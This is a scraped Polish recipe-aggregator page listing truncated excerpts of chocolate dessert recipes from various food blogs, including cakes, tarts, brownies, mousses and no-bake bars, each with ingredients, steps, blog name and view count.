pszennej 3 żółtka 2 łyżki spirytusu DODATKOWO DO MASY JASNEJ puszka brzoskwiń w syropie DODATKOWO DO MASY CIEMNEJ 3 łyżki nutelli 100 g posiekanych orzechów włoskich 100 g posiekanej czekolady 100 g sparzonych rodzynek skórka otarta z połowy pomarańczy POLEWA 100 ml śmietanki 30% 200 g nutelli 2 łyżki masła DODATKOWO 1 opakowanie herbatników kakaowych 1 opakowanie herbatników maślanych Mąkę(...)miksować do uzyskania jednolitej masy. Podzielić na pół. Do jednej części dodać pokrojone w kostkę i dobrze odsączone (najlepiej ręcznikiem papierowym) brzoskwinie. Wymieszać. Do drugiej części dodać nutellę, posiekaną czekoladę, orzechy, skórkę pomarańczową i rodzynki. Dokładnie wymieszać. Biszkopt nasączyć syropem z brzoskwiń, wyłożyć czekoladową masę. Na wierzchu wyłożyć ciemne herbatniki, a na nie masę z brzoskwiniami i warstwę maślanych herbatników

Pieguskowa Kuchnia
CIASTO CHAŁWOWE 765

szkl cukru 1/2 łyżeczki proszku do pieczenia KREM CHAŁWOWY 2 budynie śmietankowe 1 łyżeczka mąki ziemniaczanej 3 szkl mleka 300 g chałwy ( u mnie waniliowa) 300 g masła DODATKOWO czekolada gorzka Białka ubić na sztywno, dodać stopniowo cukier i ubijać, aż piana stanie się błyszcząca a cukier rozpuszczony. Stopniowo dodawać żółtka a gdy się połączą wsypać wszystkie sypkie składniki. Delikatnie(...)stopniowo dodawać masę budyniową. Dokładnie połączyć. Odłożyć odrobinę kremu do posmarowania wierzchu ciasta. Biszkopt przekroić na pół i przełożyć kremem. Wierzch posmarować odłożoną częścią kremu i posypać startą czekoladą. Schłodzić. Artykuł CIASTO CHAŁWOWE pochodzi z serwisu Każdy ma jakiegoś bzika - Pieguskowa kuchnia

Pieguskowa Kuchnia
Puszyste muffinki bananowo - czekoladowe 140

słonecznikowego - 2 jajka - 230 g mąki - 1/4 szklanki cukru - 2 duże łyżki tahini - 1 garść posiekanych orzechów włoskich - 1/2 łyżeczki sody oczyszczonej - 1 łyżeczka proszku do pieczenia - 50 gram czekolady mlecznej W misce lekko ubijam jaja, wlewam olej i dobrze łączę ze sobą. Dodaję mąkę, cukier, sodę, proszek do pieczenia, tahini, orzechy i rozgniecione na gładką masę banany. Całość łączę(...)sobą, dodając pod koniec połamaną na kawałki czekoladę. Ciasto umieszczam w foremkach na muffinki, piekę ok. 20 minut w temp. ok. 190 ' C (grzałki góra-dół ). SMACZNEGO! :-) * * *  Jeśli jeszcze nie lubicie, to polecam zalajkować  Wielopokoleniowo na facebook'u  - będziecie ze wszystkim na bieżąco :-) Zachęcam również do obserwacji  Wielopokoleniowo na Instagramie    - dodaję tam naprawdę rozmaite

Wielopokoleniowo
Lody chałwowe 268

też zachęcam, by zrobić ją samemu. Lody nie zawierają jajek, więc nie trzeba martwić się o Salmonellę.  Składniki: 200 ml mleka kilka kropel aromatu waniliowego 50 g białej czekolady 200 g chałwy (polecam  domowej roboty ) 400 g śmietanki kremówki 30%, schłodzonej Przygotowywanie: Mleko podgrzać w garnuszku dodając kilka kropel aromatu waniliowego. Białą czekoladę posiekać, wrzucić do ciepłego mleka

Nastoletnie Wypiekanie
Koktajl czekoladowo-bananowy z masłem orzechowym (masło orzechowe w proszku) 121

Koktajl ten to świetna propozycja dla wszystkich tych, którzy lubią połączenie smaku czekolady, orzechów oraz banana. Idealnie sprawdzi się w przypadku osób dbających o sylwetkę, a także dzieci - sprawdziłam!  Może zastąpić niejedno śniadanie, gdyż jest naprawdę pożywny i zdrowy. Zapewniam, że taka porcja to porządny energetyczny kop każdego poranka oraz gdy zabraknie nam siły na resztę dnia! Spróbujcie(...)bezpośrednio wsypać lub uprzednio wymieszać z 1-2 łyżkami wody i następnie połączyć z resztą składników.) Gotowy koktajl przelać do szklanki i od razu spożywać. (Ja często posypuję posiekaną czekoladą i dekoruję listkami mięty.) (*) PB2 Banana to niskokaloryczne, odtłuszczone masło orzechowe z dodatkiem kawałków banana! Jest uzyskiwane w 100% z naturalnych składników, nie posiada żadnych konserwantów oraz substancji słodzących

Di gotuje
Ciasto biszkoptowe z czekoladą i owocami | bez cukru, bez glutenu, bez laktozy | 167

Szybkie i proste ciasto dla miłośnika czekolady!  Kakaowy biszkopt, polewa czekoladowa, czekoladowe dropsy i świeże owoce. Mimo, że troszkę ciężkie jest to idealne ciasto na lato! Składniki na małą blaszkę: 4 jajka  1 szkl. mąki kukurydzianej  1 łyżeczka proszku do pieczenia  1 łyżka kakao naturalnego  4 łyżki ksylitolu  Białka ubijamy na sztywno. Dodajemy żółtka(...)pieczenia i kakao. Delikatnie mieszamy. Rozgrzewamy piekarnik do 180 stopni. Przelewamy masę do blaszki wyłożonej papierem do pieczenia. Pieczemy ok. 20-25min.  Polewa:  50g gorzkiej czekolady (bez cukru, min. 70% kakao) 1 łyżeczka oleju kokosowego  1 łyżka miodu/syropu z agawy  Rozpuszczamy w rondelku i polewamy ostudzone ciasto. Dekorujemy dowolnymi owocami i czekoladkami lub ciasteczkami domowej

Czarnawisienka
czekoladowe ciasto z cukinią 88

mąki 1 łyżeczka sody 1/2 łyżeczki proszku do pieczenia 60 g kakao 2 szklanki startej na grubych oczkach cukinii - wychodzi mniej więcej 350 g 60 g posiekanej czekolady - u nas dwa zające (tak tak ostały się jeszcze jakieś ;) )  Przygotowanie: mąkę, sól, kakao, proszek do pieczenia oraz sodę oczyszczoną przesiać i odstawić masło i cukier ucierać do powstania puszystej masy(...)olej, następnie wanilię - cały czas mieszając do mokrej masy dodać wymieszane suche składniki z kwaśną śmietaną - podzielić na tury delikatnie mieszając tylko do połączenia składników dodać startą cukinię i czekoladę i delikatnie wymieszać formę wyłożyć papierem do pieczenia (jeśli mamy sylikonową nie trzeba) i przełożyć ciasto - ja piekłam w dwóch foremkach jedna kwadratowa o wymiarach 30*30 i w małej

Gotowanie z pasją
domowe bounty 95

przed podaniem - wtedy będą mniej zbite :)  Składniki: 200 g wiórków kokosowych 100 g cukru pudru 50 g mleka w proszku 100 ml mleka skondensowanego 80 g masła 2 czekolady Przygotowanie: wiórki kokosowe, cukier puder i mleko w proszku połączyć w misce mleko skondensowane i masło podgrzać i wymieszać dokładnie mokre składniki dodać do suchych i dokładnie wymieszać  odstawić(...)lodówki na ok 30 min po tym czasie formować batoniki - układać najlepiej na papierze do pieczenia - odstawić do lodówki na min 2 h czekolady roztopić w kąpieli wodnej i obtaczać batoniki - schłodzić w lodówce przez min 30 min Batoniki należy przechowywać w lodówce. Smacznego

Gotowanie z pasją
Tarta z wiśniami 179

świeżych wiśni 0,5 szklanki cukru 3 łyżki mąki ziemniaczanej 2 łyżeczki cukru waniliowego 3/4 szklanki wody Składniki na krem śmietankowy: 250 g mascarpone 330 ml śmietany kremówki + gorzka czekolada i wiśnie do dekoracji W misce mieszamy razem wszystkie suche składniki na spód, dodajemy jajko i miękkie masło. Zagniatamy rękami do uzyskania jednolitej masy. Wyrobione ciasto owijamy folią spożywczą(...)ciasta możecie dodać też cukier puder. Miksujemy aż śmietana i serek się połączą, a cały krem będzie miał sztywną konsystencję. Przekładamy na schłodzoną tartę, wyrównujemy szpatułką. Ozdabiamy roztopioną ciemną czekoladą i wiśniami. Podajemy schłodzone. Smacznego! ciastkożercy

Ciastkozercy
Krem z białymi michałkami 698

krem po prostu uwielbiam! Słodycz kremu z białymi michałkami można przełamać frużeliną owocową np. malinową :). Składniki: 160 ml śmietany kremówki 30/36% 140 g białej czekolady 125 g serka mascarpone, schłodzonego 45 g podpieczonych, drobno posiekanych orzeszków ziemnych nie solonych 5 pokruszonych białych ”Michałków” W małym rondelku podgrzewamy kremówkę, aż będzie bardzo gorąca(...)doprowadzamy do wrzenia). Zdejmujemy z ognia i dodajemy połamaną czekoladę. Powoli mieszamy, aż uzyskamy gładką i jednolitą masę czekoladową. Odstawiamy do wystudzenia. Przykrywamy folią spożywczą i wkładamy na noc do lodówki (min 6 godz.). Następnego dnia umieszczamy w misce krem czekoladowy i serek mascarpone. Przy pomocy miksera (wolne obroty

Słodki Pomysł
Babeczki z michałkami 203

suchego patyczka. Wyjmujemy z piekarnika i studzimy. Krem z białymi michałkami – krem z białymi michałkami : 250 ml śmietany kremówki 30/36% 90 g białej czekolady, połamanej 150 g serka mascarpone, schłodzonego 1-2 łyżki cukru pudru, opcjonalnie 5 białych ”Michałków”, bardzo drobno posiekanych ok 40 g podpieczonych, drobno posiekanych orzeszków ziemnych nie solonych(...)opcjonalnie) W małym rondelku podgrzewamy kremówkę, aż będzie bardzo gorąca (nie doprowadzamy do wrzenia). Zdejmujemy z ognia i dodajemy połamaną czekoladę. Powoli mieszamy, aż uzyskamy gładką i jednolitą masę czekoladową. Odstawiamy do wystudzenia. Przykrywamy folią spożywczą i  wkładamy na noc do lodówki (min 6 godz.). Następnego dnia umieszczamy

Słodki Pomysł
Chrupiąca tarta z czekoladą, twarogiem i owocami, a może sernik z czekoladą i owocami. 159

jajka 2 białka ( pozostałość z ciasta) cukier do smaku łyżka manny 2 łyżki mąki ziemniaczanej sok i skóra z połowy limonki szczypta soli Masa czekoladowa: 100 g dobrej gorzkiej czekolady 200 g śmietany 18% kilka łyżek amaretto  Oraz: owoce łyżka kakao tortownica 20 cm rękaw do pieczenia Składniki na ciasto miksujemy razem, gdy zacznie się zbijać w kulę, przekładamy(...)widelcem, jak każdy kruchy wypiek, posypujemy obficie kakao, wykładamy ciasto  i do piekarnika, nagrzanego do 180 stopni na około godzinę. . Nad garnkiem z wodą układamy miskę, wrzucamy połamaną czekoladę, oraz śmietanę. Podgrzewamy aż się połączą i będzie gładka jednolita masa. Na koniec dodajemy amaretto lub inny alkohol. Kto chce może pominąć. Taką masę wylewamy na zimne ciasto, w jeszcze

Dieta moja pasja
Kokosowa tarta z kremem czekoladowym i owocami, bez pieczenia (Crostata di cocco con crema al cioccolato e frutta fresca senza c 105

cioccolato e della frutta fresca. Buon appetito! SKŁADNIKI Tarta 200 g ciasteczek 70 g oleju kokosowego ( możemy zastąpić masłem w takiej samej proporcji) Krem czekoladowy 200 g gorzkiej czekolady 125 g śmietany 35 g masła Dekoracja biała i czerwona porzeczka borówki jeżyny brzoskwinie listki mięty **** INGREDIENTI Crostata 200 g di biscotti 70 g di olio di cocco (p otete sostituirlo(...)circa, compattandolo sul fondo e lasciandolo raffreddare in frigo per circa 1 ora. W międzyczasie przygotowujemy krem. W garnuszku zagotowujemy śmietanę. Dodajemy kawałki czekolady, dokładnie mieszając. Na koniec dodajemy miękkie masło. Krem miksujemy na jednolit ą  masę. Schładzamy w lod ó wce ok. 1 godziny.  **** Nel frattempo preparate la crema

La grande e la piccola cuoca
Snickers 724

masa: 1/2 szklanki mleka 1/4 szklanki cukru niepełne 2 szklanki mleka w proszku 100 g masła dodatkowo: szklanka orzeszków ziemnych masa krówkowa ( u nas zawsze Helio) 100 g gorzkiej czekolady 3 łyżki śmietany kremówki Masło roztopić z batonikami Snickers. Zdjąć z gazu. Orzeszki zemleć w malakserze, dodać do roztopionego masła z batonikami. Blaszkę wyłożyć papierem do pieczenia. Wylać masę(...)spód. Posypać orzeszkami ziemnymi, wciskając je w mleczną masę. Ponownie włożyć na kwadrans do lodówki. Wyjąć ciasto i rozprowadzić na nim masę krówkową. Przygotować polewę. W kąpieli wodnej rozpuścić czekoladę. Dodać pod koniec śmietanę kremówkę. Rozprowadzić na cieście Słodkości

Ania i Marcin gotują
Malinowa kostka bez pieczenia 176

gorącej wody 500 g malin Pianka malinowa: 400 g malin 5 łyżek wody 1 galaretka malinowa 600 g śmietanki kremówki 30% 4 łyżki cukru pudru Dodatkowo: 100 g białej czekolady, startej Przygotowanie: Biszkopciki umieścić w kwadratowej blaszce o wymiarach 24x24 cm wyłożonej papierem do pieczenia. Przestrzenie pomiędzy nimi również uzupełnić biszkopcikami łamiąc je, by dopasować do luk. Warstwa galaretkowa: Galaretki(...)pudrem strumyczkiem wlewać ostudzony syrop malinowy, miksować do powstania różowego i puszystego musu. Malinowy mus wyłożyć na stężałą galaretkę na biszkopcikach, wyrównać szpatułką. Wierzch ciasta posypać startą białą czekoladą. Ciasto ponownie schłodzić w lodówce, najlepiej całą noc. Smacznego

Nastoletnie Wypiekanie
Zdrowe toffifee bez sztucznych dodatków 638

Bardzo prosto :) Wystarczy połączyć kilka podstawowych składników :) Składniki: 2 duże łyżki masła orzechowego 2 łyżki oleju kokosowego 1 łyżka syropu daktylowego kilka orzeszków ziemnych lub laskowych 3 kostki gorzkiej czekolady Olej, masło i syrop umieścić w garnku, podgrzewać, aż powstanie jednolita masa. Odstawić do wystudzenia. Przelać masę do foremek z okrągłym dnem, np na lód, na czekoladki lub oryginalne plastikowe(...)toffifee (te są najlepsze, czekoladki łatwo z nich wychodzą). W środek włożyć orzeszek i umieścić w zamrażarce na całą noc. Czekoladę roztopić, zrobić kleks na każdej czekoladce

Chocolate Muffin Blog
Serowy torcik malinowo-kawowy 148

wrzątku Masa serowo-kawowa: 650 g twarogu sernikowego 250 ml kremówki 3 łyżeczki kawy rozpuszczalnej 4 kopiaste łyżeczki cukru pudru 3 łyżeczki żelatyny 100 ml wrzątku Polewa: 100 g czekolady 8 łyżek mleka 1 łyżka masła Biszkopt : Jajka ubić z cukrem przez około 7 minut do czasu, aż powstanie jasna, puszysta masa. Pod koniec dodać olej. Następnie do masy jajecznej(...)serową wylać na masę malinową, wyrównać wierzch i wstawić do lodówki aby całość stężała (najlepiej na całą noc). Polewa: Polewę przygotować przed podaniem. Mleko, masło oraz połamaną na kawałki czekoladę roztopić w kąpieli wodnej. Wymieszać za pomocą rózgi, aby polewa była gładka. Gy trochę przestygnie polewamy nią wierzch ciasta

My simple kitchen
Ciasto potrójnie truskawkowe 101

ciasta całkowicie rezygnując z tradycyjnego biszkoptu pełnego cukru. Oto co wyszło.   Ciasto potrójnie truskawkowe składniki spód: 100 g migdałów w płatkach 100 g płatków owsianych 50 g gorzkiej czekolady 70% 2 łyżki ksylitolu 2 łyżki oleju kokosowego składniki masa różowa: 2 puszki małe mleczka kokosowego po 165 ml 300 g truskawek 75 ml wrzątku 5 łyżek żelatyny 2 łyżki(...)wykonanie: Olej kokosowy należy roztopić. Pozostałe składniki przekładamy do rozdrabniarki/blendera i pulsacyjnie lekko  rozdrabniamy. Nie chcemy uzyskać proszku. Następnie  łączymy olej kokosowy z resztą składników. Dokładnie mieszamy, czekolada pod wpływem ciepłego oleju może zacząć się topić, ale to w niczym nie przeszkadza. Gotową masę przekładamy na tortownicę wyłożoną papierem do pieczenia. Pieczemy przez 15 minut w temperaturze

Przysmaki Karolki
Deser z tuskawkami, galaretką i śmietaną 149

owocami, następna delikatna  pianka jogurtowa, a ostatnia śmietana. Lubicie takie desery? Ja uwielbiam :) Składniki: 3 galaretki truskawkowe 350 g truskawek 200 ml jogurtu naturalnego 250 ml śmietany 36% czekolada 2 łyżki cukru pudru kilka truskawek do dekoracji Wykonanie: W garnku zagotować 750 ml wody i rozpuścić w niej 2 galaretki, wystudzić. Do każdego pucharka włożyć umyte, oczyszczone truskawki(...)ponownie do lodówki by stężała. Śmietanę ubić na sztywno razem z cukrem pudrem. Na każdą masę jogurtową wyłożyć śmietanę. Na wierzch poukładać truskawki pokrojone na mniejsze kawałki i zetrzeć czekoladę. Smacznego

magiczna kuchnia Kasi
BANANOWE BABECZKI Z CZEKOLADĄ 175

sody oczyszczonej 3/4 łyżeczki proszku do pieczenia 2 dojrzałe banany 1 jajko 1/2 szklanki ciepłej wody 1/4 szklanki oleju np. rzepakowego 1 pełna łyżeczka ekstraktu waniliowego 1/2 tabliczki gorzkiej czekolady  SPOSÓB PRZYGOTOWANIA: W wysokim naczyniu miksujemy blenderem banany (można też rozgnieść widelcem). Do bananów dodajemy pozostałe płynne składniki - jajko, wodę, olej, wanilię.  W dużej misce łączymy wszystkie suche(...)składniki - mąkę, cukier, sodę, kurkumę, proszek do pieczenia, sól. Do sypkich składników wlewamy płynne. Mieszamy ciasto łyżką, dodajemy pokruszoną czekoladę i ponownie mieszamy. Następnie napełniamy foremki. Pieczemy około 30 minut w temperaturze 180 st C. Smacznego

wege i kropka
Zdrowe czekoladki orzechowo-kakaowe 203

szklanki orzeszków ziemnych Daktyle zalać wrzątkiem. Odstawić na 15 min. Gdy zmiękną, odlać wodę i zmiksować je z resztą składników. Wyłożyć na twardy spód. Schłodzić. Polewa: 3/4 tabliczki gorzkiej czekolady 70% 1/2 szklanki mleka Mleko doprowadzić do wrzenia. Dodać czekoladę i wymieszać, do otrzymania gładkiej masy. Wylać na karmel i schłodzić całą noc. Gotowe batoniki pokroić na kawałki. Smacznego

Chocolate Muffin Blog
Fit sernik czekoladowo-orzechowy na kruchym spodzie 204

okrąg o średnicy ok 18 cm.  Dwa blaty piec w piekarniku rozgrzanym do 180*C przez 15 minut. Masa ciemna: 200 g serka kremowego, śmietankowego 80 g czekolady gorzkiej 70% Czekoladę rozpuścić. Zmiksować z serkiem. Przełożyć na jeden blat i wyrównać. Przykryć drugim blatem. Masa orzechowa: 200 g serka kremowego, śmietankowego 2 łyżki masła orzechowego 2 łyżeczki oleju kokosowego

Chocolate Muffin Blog
Kostka Kinder Bueno 294

mleka w proszku  100 g masła  2 łyżki ekstraktu waniliowego  3 łyżki miodu akacjowego  Ponadto :  garść orzechów arachidowych (ziemnych) prażonych  50 g ciemnej czekolady gorzkiej  Wykonanie :  1. Orzechy prażymy przez 10 min w piekarniku rozgrzanym do 180 St.  C . Wyjmujemy i zawijamy w ściereczke pocierając by pozbyć się skórki.  Przestudzić(...)studzimy.  Nasączamy biszkopt naparem mocnej herbaty. Kroimy na pół i smarujemy połową masy przykrywamy drugą połową biszkoptu.  Na wierzchu rozprowadzamy drugą część masy wyrownujac.  5. Czekoladę roztapiamy w kąpieli wodnej i polewamy wierzch ciasta tworząc dowolny wzór. Wbijamy orzechy ziemne w tężejącą masę  i chodzimy min 1 godzinę by całość stężała

vaniliowoczekoladowa
Tarta czekoladowa z truskawkami 554

KRUCHE 200g mąki pszennej 100g masła 60g cukru pudru 20g kakao 1 żółtko 1-2 łyżki zimnej wody szczypta soli MASA BUDYNIOWA 400ml mleka 200g jogurtu greckiego 50g gorzkiej czekolady 40g cukru 1 opakowanie budyniu czekoladowego (bez cukru) 300g truskawek Wykonanie: CIASTO KRUCHE - składniki na ciasto powinny być z lodówki - mąkę przesiać z cukrem pudrem i kakao, składniki suche dokładnie(...)rondelku umieścić 300ml mleka oraz cukier, składniki mocno podgrzać - do kubka nalać pozostałe mleko, wymieszać je dokładnie z proszkiem budyniowym - do gorącego mleka dodać posiekaną na mniejsze kawałki czekoladę, wymieszać do jej rozpuszczenia się - gdy mleko się zagotuje, wlać mieszankę mleka z proszkiem budyniowym, energicznie mieszać, żeby nie utworzyły się grudki - mieszając, gotować przez około 1 minutę do zgęstnienia budyniu

Smakołyki Bereniki
Sernikobrownie z galaretką i truskawkami 522

siedzący tryb życia, brak aktywności fizycznej. Więcej na ten temat przeczytacie na stronie Uczymy jak słodzić . Polecam :) Brownie: 100 g masła 1 szkl cukru białego Królewskiego 100 g gorzkiej czekolady 2 jajka 1/4 szkl mleka 1 szkl mąki Sernik: 500 g serka na serniki 2/3 szkl cukru białego Królewskiego 3 jajka op. budyniu waniliowego 1 łyżeczka ekstraktu waniliowego 1/2 szkl(...)jogurtu greckiego ok 300 g truskawek 2 galaretki truskawkowe Brownie: W garnuszku rozpuścić masło, dodać połamaną czekoladę i cukier. Mieszać aż się rozpuszczą.Zdjąć z ognia, ostudzić. Cały czas miksując lub mieszając rózgą dodawać po 1 jajku. Na koniec dodać mąkę i mleko, wymieszać. Spód i boki tortownicy (24 cm) posmarować tłuszczem i posypać bułką tartą. Wlać brownie i piec

Smakołyki Asi
Ciasto z truskawkami bez pieczenia 8882

truskawek 1 galaretka truskawkowa 2-3 łyżki cukru Dodatkowo: 2 duże opakowania herbatników 500 ml śmietany kremówki 2 śmietan-fixy 2 łyżki cukru pudru kilka kostek gorzkiej czekolady Krem waniliowy: Z podanych składników ugotować budyń i odstawić go do wystudzenia. Masło utrzeć na puszystą masę i dodawać po łyżce zimnego budyniu. Całość ucierać aż powstanie gładki krem. Masa truskawkowa: Truskawki(...)kolejną warstwę herbatników i ponownie wstawić do lodówki, aż masa truskawkowa stężeje. Śmietanę kremówkę ubić z cukrem pudrem i śmietan-fixami. Wyłożyć na ciasto. Na wierzch zetrzeć na tarce czekoladę. Ciasto przechowywać w lodówce. Najlepiej jak postoi kilka godzin, wówczas herbatniki zmiękną, wszystkie warstwy dobrze stężeją a ciasto będzie się ładnie kroiło

My simple kitchen
Deser na śniadanie? 123

przygotowaniu, a zje go każdy. Mamy już południe a obiad w lesie. Piszę szybciutko składniki i przygotowanie i mykam do kuchni. Miłego dzionka :) SKŁADNIKI: 1 mały banan odrobina gorzkiej czekolady 2 łyżki płaskie płatków jaglanych 1 płaska łyżka płatków kukurydzianych bez glutenu 2 łyżki jogurtu greckiego PRZYGOTOWANIE:    Na dól miski daj płatki jaglane. Pokrój banana w kostkę. Ułóż(...)zostawić z boku miejsce na jogurt. Daj jogurt.  Banana posyp płatkami kukurydzianymi. Nożykiem zeskrob gorzką czekoladę na jogurt SMACZNEGO

Misz-masz by Domi
Brownie 160

Składniki: 1 szklanka mąki pszennej 150 g masła 150 g mlecznej czekolady 3/4 szklanki cukru 3/4 szklanki kakao 1 opakowanie cukru waniliowego 1 płaska łyżeczka sody 4 jajka szczypta soli cukier puder do posypania Sposób wykonania: W rondelku topimy masło i dodajemy cukier.  Podgrzewamy około 2 minut na małym ogniu cały czas mieszając.  Jajka rozbijamy i roztrzepujemy widelcem(...)misce mieszamy ze sobą mąkę, sodę, kakao i cukier waniliowy. Dodajemy roztopione masło, mieszamy. Dodajemy jajka i pokruszoną czekoladę, mieszamy łyżką do momentu połączenia składników. Blaszkę o wymiarach 25x30 cm smarujemy masłem oraz oprószamy mąką. Wykładamy na nią masę ciasta. Pieczemy w nagrzanym piekarniku do 160°C przez 25 minut. Ostudzone ciasto posypujemy cukrem pudrem

Qchnia po prostu
Przepis na brownie z orzechami 139

brązowego cukru 150 g masła 2 łyżeczki waniliowego ekstraktu 125 g zmielonych migdałów 3 łyżki kokosowej mąki sól morska do posypania 150 g czekolady 40 g kakao 4 jajka ½ łyżeczka sody sól morska do posypania 100 g różnych orzechów do posypania Włóż masło do rondelka. Podgrzewaj do rozpuszczenia. Dodaj cukier i kakao. Mieszaj aż składniki się połączą. Zdejmij z kuchni(...)Dodaj po jednym jajku energicznie mieszając. Wymieszaj migdały z kokosową mąką, sodą i dodaj do czekoladowej masy. Pokrój grubo czekoladę i jeszcze raz wymieszaj. Wylej masę do natłuszczonej formy, wygładź, posyp orzechową mieszanką i solą. Wstaw do nagrzanego na 175ºC piekarnika i piecz przez około 25 minut. Po wyjęciu z piekarnika brownie powinno być miękkie na środku. Odstaw brownie

codojedzenia
Tarta kawowa 90

jogurtu greckiego 0,3 szklanki (60 g) cukru 2 jajka 1 łyżka (20-25 g) mąki ziemniaczanej 4 płaskie łyżeczki kawy rozpuszczalnej Dodatkowo: 0,25 tabliczki (25 g) czekolady mlecznej opcjonalnie kilka czekoladek toffifee do dekoracji Przygotowanie: 1) Do przesianej mąki dodać pokrojone masło, żółtka, kakao, kawę oraz cukier puder. Wszystkie składniki posiekać nożem i na koniec szybko zagnieść(...)Całość piec ok. 35 min. w piekarniku nagrzanym do 180 stopni. Następnie przed wyciągnięciem kilka minut zostawić w wyłączonym, uchylonym piecyku. 12) Ciasto podawać mocno schłodzone, posypane startą czekoladą i udekorowane czekoladkami. Inspiracja: http://smakolykibereniki.blogspot.com/2014/10/tarta-kawowa.html

Fitsweet.me
Jogurtowiec jagodowy na owsianym spodzie (FIT, bez pieczenia) 222

Składniki: Owsiany spód: 1,5 szkl. płatków owsianych 3 łyżki ziaren słonecznika (można uprażyć) 2 łyżki wiórków kokosowych 3 łyżki miodu 3 łyżki jogurtu naturalnego 1/2 tabliczki gorzkiej czekolady Masa jogurtowa-cieniowana: 1200 g jogurtu naturalnego 2,5 szkl. jagód (miałam mrożone) 5 łyżek ksylitolu 4 czubate łyżki żelatyny 1/2 szkl. gorącej wody Sposób przygotowania: Owsiany spód: Nad kąpielą wodną(...)rozpuszczamy czekoladę i łączymy z miodem. Do miski wsypujemy sypkie składniki, dodajemy masę czekoladową i jogurt, dokładnie mieszamy, i masą wykładamy spód tortownicy (21 cm), dociskamy dokładnie i chłodzimy w lodówce około pół godziny. Ja tortownicę wyłożyłam dokładnie folią spożywczą, żeby całość nie złapała kontaktu z metalem. Masa jogurtowa:  Jagody przekładamy do rondelka, blendujemy na gładko, dodajemy ksylitol

Kolorowy Przepisownik
Czekoladowe limonczello 206

ścięły i wstawiamy ponownie na ogień. Gotujemy , aż masa zgęstnieje. Krem odstawiamy do ostudzenia. Ostudzony kremu miksujemy z 90 g miękkiego masła w temperaturze pokojowej. masa czekoladowa: 100 g czekolady gorzkiej 125 g śmietany 30%,  40 g masła 50 g cukru W rolndlu podgrzewamy śmietanę z masłem i cukrem. Dodajemy posiekaną czekoladę cały czas mieszamy aż się rozpuści. Następnie

Bon appetit mon amie
CIASTO MAKOWO-CZEKOLADOWE Z BEZĄ 131

łyżka cukru 1/4 słoiczka kwaśnego dżemu 1/2 szklanki herbaty earl grey posłodzonej z 2 łyżkami spirytusu-na nasączenie 500 ml śmietany 30% 2 łyżeczki cukru 1 tabliczka gorzkiej czekolady wiórki kokosowe i inne ulubione ozdoby Mak zalewamy wodą (1/2 l) i gotujemy ok 10 minut. Odstawiamy na co najmniej pół godziny. Odcedzamy przepłukujemy i mielimy w maszynce dwa razy. Oddzielamy(...)ubić białka (1 szklankę) z cukrem i nałożyć na gorące ciasto, wstawić do piekarnika na jeszcze 25 minut. Wystudzone ciasto przekroić, nasączyć, posmarować dżemem. Ubić śmietanę z cukrem, rozpuścić czekoladę w kąpieli wodnej i połączyć, posmarować środek ciasta i wierzch, ozdobić. Wstawić do lodówki na co najmniej 2-3 godziny…potem zajadamy

harrisa
Jaglana tarta czekoladowo-kokosowa z ananasem i żurawiną 198

proszku do pieczenia Domowe mleko kokosowe 600 ml wody przegotowanej zimnej lub mineralnej 100 g  wiórków kokosowych  bez konserwantów Masa jaglana 200 ml śmietanki 30% 220 g czekolady białej 1 i 1/3 szklanki mleka kokosowego wiórki kokosowe pozostałe z przygotowywania mleka kokosowego 2 duże jajka 8 g (małe op.) cukru wanilinowego ok 130 g  kaszy jaglanej(...)suche składniki. Zmiksuj do połączenia i uformuj kulę. Ciasto owiń folią spożywczą i schłódź w lodówce 2 godziny lub w zamrażalniku przez 1 godzinę. Ze śmietanki 30% i czekolady przygotuj ganasz czekoladowy wg  przepisu  i odstaw do przestudzenia. Mleko kokosowe zagotuj z cukrem wanilinowym, dodaj olej. Kaszę jaglaną przygotuj do gotowania jak w przepisie podstawowym, czyli opłucz

Anioszek w kuchni
FIT CZEKOLADA - NAJLEPSZA! 170

czekolada? Że niby kolejny mój wielce dietetyczny wymysł?  Uwierzcie, to wyszło tak pyszne, że grzechem byłoby nie podzielić się z Wami  TYM przepisem! Właściwie to "efekt uboczny" przy robieniu zdrowszej wersji popularnych Michałków. Czekoladki nie wyszły do końca tak jak chciałam - głównie ze względu na brak niektórych składników i moją wewnętrzną potrzebę zmian. Dodałam kilka składników od siebie(...)takim sposobem stworzyłam czekoladę! Przeleżała trochę czasu w zamrażalce, stała się bardziej zwarta, ale wciąż prosta do krojenia. Za pierwszym i drugim razem dodałam do niej posiekane orzechy, za trzecim i czwartym - wiórki kokosowe. Była też odżywka białkowa, ale skończyła się jak chciałam nagrać film, więc podaję przepis bez jej dodatku. Natomiast jeśli ją posiadacie i chcecie ją dodać, użyjcie

Kuchnia Ellie
Mus czekoladowy 87

Przepis wypatrzyłam u Marty Dymek i bez zastanowienia spróbowałam. Mój mąż pokazał temu deserowi czerwoną kartkę. Ja się nim zajadałam… Do przygotowania potrzebujemy: 200 g gorzkiej czekolady (wegańskiej) 1 puszkę cieciezycy (a konkretnie jej płynną zawartość) 2 łyżki cukru szczyptę soli Posiekaną czekolade roztapiamy w kąpieli wodnej. Wodę z ciecierzycy wlejcie do miski lub dzieży miksera (razem z cukrem(...)sztywną pianę (ponoć 5 minut, ale to trwało u mnie dłużej. Chyba dla tego, że nie od początku miałam maskymalne obroty). Do tak przygotowanej bazy dodajemy przestudzoną, stopioną czekoladę (inaczej cały deser opadnie i trafi go szlag). Mieszamy delikatnie po czym przekładamy do miseczek i dekorujemy np orzechami lub świeżymi owocami. Ja schowałam go na całą noc do lodówki. Smacznego

Szybko Tanio Smacznie
Energetyczne kulki mocy 144

przepyszne kulki mocy, to fit słodycz, której nie musicie się obawiać.  Składniki na ok 20 szt Czas przygotowania: 20 min 1 szklanka płatków owsianych górskich 100 g gorzkiej czekolady 2/3 szklanki wiórków kokosowych 1/2 szklanki masła orzechowego 1/2 szklanki nasion lnu 1 łyżka nasion chia 1/2 szklanki syropu klonowego Przygotowanie: 1. Wiórki kokosowe prażymy na suchej patelni aż się(...)lekko zrumienią, często potrząsamy, żeby się nie spaliły 2. Czekoladę siekamy 3. Łączymy wszystkie składniki ze sobą w dużej misce 4. W dłoniach formujemy kuleczki wielkości orzecha włoskiego, należy mocno ścisnąć masę w dłoni, następnie rolować do uzyskania gładkiej kulki 5. Przekładamy kulki do zamykanego pojemnika i wstawiamy do lodówki na ok 10 min, przechowujemy w ten sposób

Słodki Kompromis
Wilgotne ciasto czekoladowo-owocowe (szybkie) 174

